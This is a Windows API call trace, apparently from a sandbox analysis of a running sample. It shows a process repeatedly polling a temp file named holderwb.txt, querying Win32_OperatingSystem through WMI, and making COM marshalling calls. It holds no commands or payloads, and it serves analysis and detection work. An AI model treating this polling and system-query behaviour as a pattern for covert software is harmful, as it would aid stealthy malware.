	[0099.880] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.882] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.882] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.882] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.884] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.884] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.884] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.888] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.888] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.888] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.890] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.890] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.890] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.892] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.892] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.892] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.894] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.894] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.894] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.896] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.896] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.896] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.898] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.898] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.898] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.900] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.900] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.900] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.901] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.902] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.902] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.903] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.904] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.904] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.906] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.906] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.906] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.907] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.908] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.908] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.909] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.909] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0102.189] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc8e8, riid=0x6b5e880*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x6b5e87c | out: ppvObject=0x6b5e87c*=0x69bc8e8) returned 0x0
	[0102.189] WbemDefPath:IUnknown:AddRef (This=0x69bc8e8) returned 0x3
	[0102.189] WbemDefPath:IUnknown:Release (This=0x69bc8e8) returned 0x2
	[0102.189] WbemDefPath:IWbemPath:SetText (This=0x69bc8e8, uMode=0x4, pszPath="Win32_OperatingSystem") returned 0x0
	[0102.189] WbemDefPath:IWbemPath:GetInfo (in: This=0x69bc8e8, uRequestedInfo=0x0, puResponse=0x6b5ea30 | out: puResponse=0x6b5ea30*=0xc15) returned 0x0
	[0102.189] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bc8e8, puCount=0x6b5ea28 | out: puCount=0x6b5ea28*=0x0) returned 0x0
	[0102.189] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bd6f8, puCount=0x6b5ea00 | out: puCount=0x6b5ea00*=0x2) returned 0x0
	[0102.189] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6b5e9fc*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e9fc*=0xf, pszText=0x0) returned 0x0
	[0102.189] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6b5e9fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x6b5e9fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0102.196] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x6b5e89c*=0x598, lpdwindex=0x6b5e74c | out: lpdwindex=0x6b5e74c) returned 0x0
	[0102.210] CoGetContextToken (in: pToken=0x6b5e658 | out: pToken=0x6b5e658) returned 0x0
	[0102.210] CoGetContextToken (in: pToken=0x6b5e600 | out: pToken=0x6b5e600) returned 0x0
	[0102.210] IUnknown:QueryInterface (in: This=0x69a158, riid=0x73553c98*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e5e0 | out: ppvObject=0x6b5e5e0*=0x69a168) returned 0x0
	[0102.210] CObjectContext::ContextCallback () returned 0x0
	[0102.211] IUnknown:Release (This=0x69a168) returned 0x1
	[0102.211] CoUnmarshalInterface (in: pStm=0x718188, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x6b5e648 | out: ppv=0x6b5e648*=0x72c78c) returned 0x0
	[0102.212] CoMarshalInterface (pStm=0x718188, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72c78c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0102.212] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e4ec | out: ppvObject=0x6b5e4ec*=0x72c78c) returned 0x0
	[0102.212] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6b5e4a8 | out: ppvObject=0x6b5e4a8*=0x0) returned 0x80004002
	[0102.212] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6b5e2c4 | out: ppvObject=0x6b5e2c4*=0x0) returned 0x80004002
	[0102.214] IUnknown:AddRef (This=0x72c78c) returned 0x3
	[0102.214] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6b5de04 | out: ppvObject=0x6b5de04*=0x0) returned 0x80004002
	[0102.215] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6b5ddb4 | out: ppvObject=0x6b5ddb4*=0x0) returned 0x80004002
	[0102.218] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5ddc0 | out: ppvObject=0x6b5ddc0*=0x72c6ec) returned 0x0
	[0102.218] IMarshal:GetUnmarshalClass (in: This=0x72c6ec, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6b5ddc8 | out: pCid=0x6b5ddc8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0102.218] IUnknown:Release (This=0x72c6ec) returned 0x3
	[0102.218] CoGetContextToken (in: pToken=0x6b5de20 | out: pToken=0x6b5de20) returned 0x0
	[0102.218] IUnknown:QueryInterface (in: This=0x69a2c8, riid=0x735fd8c4*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5dde4 | out: ppvObject=0x6b5dde4*=0x69a2d4) returned 0x0
	[0102.218] IComThreadingInfo:GetCurrentApartmentType (in: This=0x69a2d4, pAptType=0x6b5de28 | out: pAptType=0x6b5de28*=0) returned 0x0
	[0102.218] IUnknown:Release (This=0x69a2d4) returned 0x0
	[0102.218] CoGetObjectContext (in: riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x73389c | out: ppv=0x73389c*=0x69a2c8) returned 0x0
	[0102.218] CoGetContextToken (in: pToken=0x6b5e228 | out: pToken=0x6b5e228) returned 0x0
	[0102.218] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e2b8 | out: ppvObject=0x6b5e2b8*=0x72c774) returned 0x0
	[0102.218] IRpcOptions:Query (in: This=0x72c774, pPrx=0x72c78c, dwProperty=2, pdwValue=0x6b5e2e0 | out: pdwValue=0x6b5e2e0) returned 0x0
	[0102.218] IUnknown:Release (This=0x72c774) returned 0x3
	[0102.218] IUnknown:Release (This=0x72c78c) returned 0x2
	[0102.218] IUnknown:Release (This=0x72c78c) returned 0x1
	[0102.218] CoGetContextToken (in: pToken=0x6b5e598 | out: pToken=0x6b5e598) returned 0x0
	[0102.219] IUnknown:AddRef (This=0x72c78c) returned 0x2
	[0102.219] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e854 | out: ppvObject=0x6b5e854*=0x72c76c) returned 0x0
